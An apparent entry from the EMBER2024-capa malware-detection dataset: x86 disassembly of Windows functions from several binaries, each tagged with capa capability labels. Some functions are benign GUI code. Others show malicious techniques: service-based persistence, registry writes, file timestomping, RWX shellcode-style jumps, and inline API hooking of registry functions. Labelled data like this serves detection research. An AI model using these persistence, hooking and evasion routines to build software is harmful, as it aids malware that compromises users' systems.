joyce8/EMBER2024-capa huggingface dataset:
Function at 0x441cd0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47ffb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.00478df8
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.00441620
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.00478d26
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004755e7
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004755e7
push 1
push 0
push 0
mov ecx, esi
call fcn.0047558f
push 1
push 0
push 1
mov ecx, esi
call fcn.0047558f
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00478e6a
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x441e50
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47ffd8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.00478df8
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.00441620
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.00478d26
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x441f14
cmp dword [esp + 0x40], 1
jne 0x441f12
cmp ecx, eax
jge 0x441f14
mov eax, ecx
cmp eax, 0xc8
jge 0x441f20
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.00441cd0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00478e6a
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x442710
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x480083
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00473a07
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.004790a0
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0047a5bc
test eax, eax
je 0x44282c
mov ecx, dword [esp + 0x3c]
call fcn.004790cd
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x4427f0
push edi
mov ecx, esi
call fcn.00476733
mov ecx, esi
call fcn.004429d0
cmp dword [esp + 0x38], 1
jne 0x442825
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0047686e
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x444a20
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x444a53
push esi
call fcn.00452cb0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x444a4c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x444ad9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x444ac2
mov eax, dword [esi + 8]
test eax, eax
je 0x444a77
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x444abe
cmp eax, 2
je 0x444ac2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x444a6a
cmp eax, 3
je 0x444a9d
cmp eax, 1
jne 0x444a6a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x444a6a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x444a6a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00444b00
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x444ae8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00444b00
add esp, 4
pop esi
ret

Function at 0x445370
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x445391
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x445391
mov eax, dword [eax + 0x44]
test eax, eax
je 0x445391
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4747fd
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x474835
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004728b4
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047288c
jmp 0x474841
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x475eeb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x475f2d
call fcn.0047b9a7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x475f2d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x475f24
xor eax, eax
jmp 0x475f35
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00475f3b
pop edi
pop esi
pop ebx
ret 4
Function at 0x47bed7
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47bf05
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47bf23
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047be3d
jmp 0x47bf23
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47bf23
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047be3d
test edi, edi
mov eax, edi
jne 0x47bf0d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push esi
push edi
and dword [ebp - 0x10], 0
and dword [ebp - 0x414], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], 2
je 0x40104e
cmp dword [ebp + 0xc], 3
je 0x40104e
push 0x104
push 0
push 0x4130d0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0x4130d0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call 0x401053
mov eax, dword [esp]
mov dword [ebp - 0x10], eax
add esp, 4
push 0x400
push 0
lea eax, [ebp - 0x410]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 0x10]
call dword [ebp - 8]
mov eax, dword [ebp - 0x40c]
mov dword [0x413d48], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, dword [0x413d48]
je 0x4010af
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00404f2b
jmp 0x401192
mov eax, dword [sym.imp.USER32.dll_GetMessageA]
mov dword [ebp - 0xc], eax
mov eax, dword [sym.imp.USER32.dll_PostThreadMessageA]
mov dword [ebp - 4], eax
push 0x400
push 0
lea eax, [ebp - 0x410]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.USER32.dll_GetInputState]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x414], eax
push 0
push 0
push 0
push dword [ebp - 0x414]
call dword [ebp - 4]
push 0
push 0
push 0
lea eax, [ebp - 0x410]
push eax
call dword [ebp - 0xc]
call fcn.00402da2
call fcn.0040272d
mov eax, dword [0x413274]
and eax, 7
je 0x401183
mov eax, dword [0x413274]
and eax, 1
je 0x401175
call fcn.00403d6c
cmp eax, 1
jne 0x401175
push 0xf
pop ecx
mov esi, 0x40d364
lea edi, [ebp - 0x454]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
and dword [ebp - 0x458], 0
and dword [ebp - 0x45c], 0
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x458]
push eax
call fcn.0040395a
push 2
push 0x3e
lea eax, [ebp - 0x454]
push eax
call fcn.004029c2
jmp 0x401183
call fcn.00401b90
cmp eax, 1
jne 0x401183
jmp 0x40118a
push 0
call fcn.00401626
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
leave
ret 0x10
Function at 0x4013b3
Capabilities:
Check if file exists
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e100
push 0x40c756
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x82c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x20], 0
or dword [ebp - 0x24], 0xffffffff
and dword [ebp - 0x1c], 0
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jne 0x40148c
cmp dword [ebp + 0x14], 0
je 0x40148c
and dword [ebp - 0x844], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x844], eax
push 0x800
push 0
lea eax, [ebp - 0x840]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x844]
lea eax, [ebp - 0x840]
push eax
push dword [ebp - 0x844]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
and dword [ebp - 4], 0
push 0xffffffffffffffff
lea eax, [ebp - 0x840]
push eax
push 0
push 0x40148c
mov edi, edi
push ebp
mov eax, dword [ebp + 0x14]
add eax, 3
jmp eax
push 0
push 0
push 4
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x4014b4
xor eax, eax
jmp 0x401564
cmp dword [ebp - 0x20], 0
jne 0x4014ee
mov dword [ebp - 0x3c], 0x1ec61500
mov dword [ebp - 0x38], 0x1c479c6
push 8
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x34]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 8
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x4014fc
push 0
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x24]
call fcn.00402d18
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401531
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x20], 0
jne 0x40152d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
jmp 0x401564
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 1
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x24]
call fcn.00402d18
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x401575
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [0x410b7c]
push 0x40d3a4
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
lea eax, [ebp - 0x408]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x40d3ac
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0xc]
push 2
push 0
push 0x40d3b8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 8
Function at 0x4029c2
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
and dword [ebp - 0x130], 0
and dword [ebp - 0x134], 0
and dword [ebp - 0x12c], 0
push 0x128
push 0
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x128], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.KERNEL32.dll_Process32First
cmp dword [ebp + 0x10], 3
jne 0x402a37
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 0x10], 1
jne 0x402a4e
lea eax, [ebp - 0x104]
push eax
call fcn.004022ac
jmp 0x402b88
cmp dword [ebp + 0x10], 2
jne 0x402ad2
mov eax, dword [ebp + 8]
mov dword [ebp - 0x138], eax
and dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x138]
movsx eax, byte [eax]
test eax, eax
je 0x402acd
push dword [ebp - 0x138]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402aaf
push 0
lea eax, [ebp - 0x13c]
push eax
push 0
push 0
push 4
lea eax, [ebp - 0x120]
push eax
push 0x2220cc
push dword [0x410b84]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push dword [ebp - 0x138]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x138]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x138], eax
jmp 0x402a64
jmp 0x402b88
cmp dword [ebp + 0x10], 3
jne 0x402b60
and dword [ebp - 0x140], 0
cmp dword [ebp - 0x134], 0
jne 0x402afb
mov dword [ebp - 0x134], 1
jmp 0x402b88
push 0x2e
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x402b24
mov eax, dword [ebp - 0x140]
and dword [eax], 0
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
test eax, eax
jne 0x402b40
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x402b5e
push 0x40d558
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x402b88
cmp dword [ebp + 0x10], 4
jne 0x402b88
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402b88
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x130], eax
jmp 0x402ba2
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402a37
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
leave
ret 0xc
Function at 0x402d18
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 1
cmp dword [ebp + 8], 0xffffffff
jne 0x402d32
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402d9e
cmp dword [ebp + 0x10], 0
jne 0x402d6e
push 0x18
push 0
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x402d69
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402d9e
cmp dword [ebp + 0x10], 1
jne 0x402d9b
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x402d96
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402d9e
mov eax, dword [ebp - 4]
leave
ret 0xc

Function at 0x402da2
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e0f0
push 0x40c756
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x20], 0x4000000
and dword [ebp - 0x1c], 0
and dword [ebp - 0x24], 0
and dword [ebp - 4], 0
push 0x40
push 0x3000
push dword [ebp - 0x20]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x402dfe
or dword [ebp - 4], 0xffffffff
jmp 0x402e67
push dword [ebp - 0x20]
push 0x90
push dword [ebp - 0x24]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, 0x402e40
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov dword [eax - 5], 0xe9
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov dword [eax - 4], ecx
mov eax, dword [ebp - 0x24]
nop
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403250
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
and dword [ebp - 0x14], 0
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0xc000000
push 1
push 0
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jne 0x4032cc
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp + 0x10], 0
je 0x4032c3
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
leave
ret 0xc
Function at 0x4033ca
Capabilities:
Check for time delay via gettickcount
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
and dword [ebp - 0x194], 0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x194], eax
push 0x40d70c
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40342f
cmp dword [ebp + 8], 0xffffffff
je 0x403422
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x194]
cmp eax, dword [ebp + 8]
jb 0x403422
xor eax, eax
jmp 0x403438
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4033f8
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4

Function at 0x403a92
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
and dword [ebp - 0x4c], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
call fcn.00402415
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
push 0x40d458
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x158]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push 0x40d820
push 0x4130d0
push 0x40d828
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x158]
push eax
push 1
push 2
push 1
push 0xf01ff
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 8], eax
push 0x65
push dword [0x413d48]
lea eax, [ebp - 0x158]
push eax
call fcn.00402e76
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x14
call fcn.00403a34
leave
ret
Function at 0x404f2b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
cmp dword [ebp + 0xc], 1
jne 0x404fbf
mov dword [ebp - 4], 0x402314
mov eax, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov dword [ebp - 0x114], eax
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 4]
pop ecx
pop ecx
and dword [eax], 0
push 0x4130d0
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x114]
test eax, eax
je 0x404faa
call fcn.004021ee
xor eax, eax
jmp 0x404fc2
push 0
push 0
push 0
push 0x4048d6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
leave
ret 0xc

Function at 0x4050b2
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
and dword [ebp - 8], 0
cmp dword [ebp + 8], 1
jne 0x4050d7
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x405063
jmp 0x40510f
cmp dword [ebp + 8], 2
jne 0x4050ee
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x404fc6
jmp 0x40510f
cmp dword [ebp + 8], 3
jne 0x40510f
mov eax, dword [0x413d50]
mov cl, byte [0x413d4c]
mov byte [eax], cl
mov eax, dword [0x413d50]
mov ecx, dword [0x413d54]
mov dword [eax + 1], ecx
cmp dword [ebp + 8], 1
je 0x40511b
cmp dword [ebp + 8], 2
jne 0x40517d
cmp dword [0x413d50], 0
jne 0x405160
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 4]
mov dword [0x413d50], eax
mov eax, dword [0x413d50]
mov al, byte [eax]
mov byte [0x413d4c], al
mov eax, dword [0x413d50]
mov eax, dword [eax + 1]
mov dword [0x413d54], eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0x400
push dword [0x413d50]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x413d50]
mov byte [eax], 0xe9
mov eax, dword [0x413d50]
add eax, 5
mov ecx, dword [ebp - 8]
sub ecx, eax
mov eax, dword [0x413d50]
mov dword [eax + 1], ecx
xor eax, eax
inc eax
leave
ret 4